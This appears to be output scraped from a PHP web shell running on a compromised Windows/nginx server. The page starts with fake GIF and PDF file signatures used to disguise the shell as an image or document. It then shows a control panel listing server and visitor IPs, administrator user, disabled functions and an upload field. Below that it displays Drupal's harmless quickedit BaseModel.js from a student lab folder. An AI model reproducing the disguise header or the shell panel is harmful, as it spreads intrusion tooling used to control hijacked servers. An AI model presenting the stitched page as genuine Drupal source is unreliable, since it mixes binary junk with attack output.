GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/quickedit/js/models/ |
Upload File : |
/** * @file * A Backbone Model subclass that enforces validation when calling set(). */ (function (Drupal, Backbone) { 'use strict'; Drupal.quickedit.BaseModel = Backbone.Model.extend(/** @lends Drupal.quickedit.BaseModel# */{ /** * @constructs * * @augments Backbone.Model * * @param {object} options * Options for the base model- * * @return {Drupal.quickedit.BaseModel} * A quickedit base model. */ initialize: function (options) { this.__initialized = true; return Backbone.Model.prototype.initialize.call(this, options); }, /** * Set a value on the model * * @param {object|string} key * The key to set a value for. * @param {*} val * The value to set. * @param {object} [options] * Options for the model. * * @return {*} * The result of `Backbone.Model.prototype.set` with the specified * parameters. */ set: function (key, val, options) { if (this.__initialized) { // Deal with both the "key", value and {key:value}-style arguments. if (typeof key === 'object') { key.validate = true; } else { if (!options) { options = {}; } options.validate = true; } } return Backbone.Model.prototype.set.call(this, key, val, options); } }); }(Drupal, Backbone));